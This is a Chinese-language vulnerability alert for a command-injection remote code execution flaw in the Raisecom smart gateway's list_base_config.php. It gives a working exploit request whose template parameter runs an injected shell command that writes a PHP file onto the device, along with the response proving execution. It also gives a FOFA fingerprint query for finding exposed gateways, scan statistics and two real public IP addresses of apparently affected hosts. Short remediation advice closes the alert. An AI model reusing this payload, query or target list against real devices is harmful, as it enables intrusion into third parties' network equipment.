

瑞斯康达智能网关 RCE漏洞

漏洞描述

瑞斯康达智能网关是一种用于电信和企业网络的高性能设备，主要用于边缘网络接入和智能数据处理。它集成了多种网络功能，如路由、交换、防火墙和VPN，能够支持多种接入方式，如光纤、以太网和无线通信等。list_base_config.php可进行命令注入攻击，导致远程代码执行。

影响版本

瑞斯康达智能网关

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	高
攻击者价值	高
利用难度	低

漏洞复现

FOFA： body="/images/raisecom/back.gif" && title=="Web user login"

POC/EXP：

```
GET /vpn/list_base_config.php?type=mod&parts=base_config&template=%60echo+-e+%27%3C%3Fphp+phpinfo%28%29%3Bunlink%28FILE%29%3B%3F%3E%27%3E%2Fwww%2Ftmp%2Fjp.php%60 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/,q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
```

发送请求

强制 HTTPS

历史

生成 Yaml

Request

数据包扫描

热加载

构造请求

1

GET /vpn/list_base_config.php?type=mod&parts=base_config&template=%60echo+-e+%27%3C%3Fphp+phpinfo%28%29%3Bunlink%28__FILE__%29%3B%3F%3E%27%3E%2Fwww%2Ftmp%2Fjp.php%60 HTTP/1.1

2

Host: 1.1.1.1

3

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0

4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

5

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

6

Accept-Encoding: gzip, deflate, br

7

Connection: close

Responses

https 932bytes / 1542ms 美化 渲染

1

HTTP/1.1 200 OK

2

X-Powered-By: PHP/7.1.30

3

Set-Cookie: PHPSESSID=bojjuf0mftd5dkf99rnbSudkh9; path=/

4

Expires: Thu, 19 Nov 1981 08:52:00 GMT

5

Pragma: no-cache

6

Cache-control: private

7

Content-type: text/html; charset=utf-8

8

Connection: close

9

Date: Wed, 14 Aug 2024 09:44:01 GMT

10

Server: Apache/1.3.29

11

Content-Length: 932

12

13

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

14

<html xmlns="http://www.w3.org/1999/xhtml">

15

<head>

16

<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>

17

<title>漏洞预警</title>

18

<link href="css/list.css" rel="stylesheet" type="text/css"/>

19

<link href="css/node_info.css" rel="stylesheet" type="text/css"/>

20

<script src="js_script/function.js"></script>

21

<script src="js_script/ajax_function.js"></script>

22

</head>

23

<body>

24

<script language="javascript">

25

phpinfo()

不安全 1.1.1.1/56/tmp/jp.php

| PHP Version 7.1.30 | |
|---|---|
| System | Linux host 3.18.21 #1 SMP Wed Aug 25 11:30:40 CST 2021 mips |
| Build Date | Mar 5 2020 11:46:36 |
| Configure Command | './configure' '--host=mipsel-linux' '--without-pear' '--without-sqlite3' '--with-config-file-path=/etc' '--without-iconv' '--enable-mbstring' '--disable-hash' '--disable-json' '--disable-pdo' '--disable-simplexml' '--disable-tokenizer' '--disable-xml' '--disable-xmlreader' '--disable-xmlwriter' '--disable-zend-signals' '--disable-inline-optimization' '--disable-fileinfo' '--enable-sockets' '--disable-cli' '--enable-opcache=no' '--with-zlib=/home/wanganshi/7528-allib/openlib/zlib' '--with-libxml-dir=/home/wanganshi/7528-allib/openlib/libxml2' '--prefix=/home/wanganshi/7528-allib/openlib/php-02' 'host_alias=mipsel-lin |
| Server API | CGI/FastCGI |
| Virtual Directory Support | disabled |
| Configuration File (php.ini) Path | /etc/ |
| Loaded Configuration File | /etc/php.ini |
| Scan this dir for additional .ini files | (none) |
| Additional .ini files parsed | (none) |
| PHP API | 20160303 |
| PHP Extension | 20160303 |
| Zend Extension | 320160303 |
| Zend Extension Build | API320160303,NTS |
| PHP Extension Build | API20160303,NTS |
| Debug Build | no |
| Thread Safety | disabled |
| Zend Signal Handling | disabled |
| Zend Memory Manager | enabled |

该漏洞影响范围广泛，定义为重要漏洞预警

FQFA

body="/images/raisecom/back.gif" && title=="Web u

会员 支持及工具

all

17,927 条匹配结果 (14,191 条独立IP), 137 ms , 关键词搜索。

显示一年内数据, 点击 all 查看所有。

网站指纹排名

| | |
|----------|--------|
| PKbdn... | 12,906 |
| 2nBV9... | 2,744 |
| vNZJ5... | 1,042 |
| MF32... | 314 |
| HMQI0... | 287 |

国家/地区排名

| | |
|--------|-------|
| >> 中国 | 7,267 |
| >> 阿根廷 | 4,305 |
| >> 巴西 | 3,541 |
| >> 加拿大 | 651 |
| >> 俄罗斯 | 506 |

Web user login

中国 / 江西省 / Gan...

ASN: 4134

组织: Chinanet

2024-08-14

lighttpd/1.4.31

Header

Products

HTTP/1.1 200 OK

Connection: close

Transfer-Encoding: chunked

Cache-Control: no-cache,must-revalidate

Content-Type: text/html

Date: Wed, 14 Aug 2024 08:17:02 GMT

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Pragma: no-cache

Server: lighttpd/1.4.31

Set-Cookie: PHPSESSID=01d40cda5f98ed800edfd420

DayDayMap

body="/images/raisecom/back.gif" && title=="Web user login"

☆ 收藏夹 窗口 搜索

首页 ... 3 消息

世界地图

国家/地区

| | |
|-----|--------|
| 中国 | 17,319 |
| 巴西 | 4,298 |
| 阿根廷 | 3,246 |
| 俄罗斯 | 712 |
| 加拿大 | 534 |

端口

| | |
|------|-------|
| 80 | 8,849 |
| 443 | 8,599 |
| 8090 | 5,248 |
| 8443 | 1,436 |
| 8117 | 557 |

共有 27,445 个检索结果, 独立IP 22,803 个, 用时 353 ms。

body="/images/raisecom/back.gif" && title=="Web user login"

检索结果 数据统计

开始日期 → 结束日期 全部资产 全部标签 数据过滤

https://45.189.220.227 2024-08-12

巴西 / Minas Gerais / Padre Paraíso

443 https

Header 网页 证书

网站标题: Web user login 设备名称: --

ASN: AS269615 Server: Apache/2.4.18

自治域: DELTA TELECOM 开发语言: PHP

运营商: DELTA TELECOM 操作系统: --

组件: Java +3

HTTP/1.1 200 OK

X-Powered-By: PHP/7.1.30

Set-Cookie: PHPSESSID=hm54658902hp1hh2sa34hqqq2k; path =/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Pragma: no-cache

Cache-control: private

https://45.167.78.68 2024-08-12

巴西 / Acre / Brasileia

443 https

Header 网页 证书

网站标题: Web user login 设备名称: --

ASN: AS269615 Server: Apache/2.4.18

自治域: DELTA TELECOM 开发语言: PHP

运营商: DELTA TELECOM 操作系统: --

组件: Java +3

HTTP/1.1 200 OK

修复方案

1. 关闭互联网暴露面或接口设置访问权限
- 升级至安全版本
- 及时关注厂商修复方案。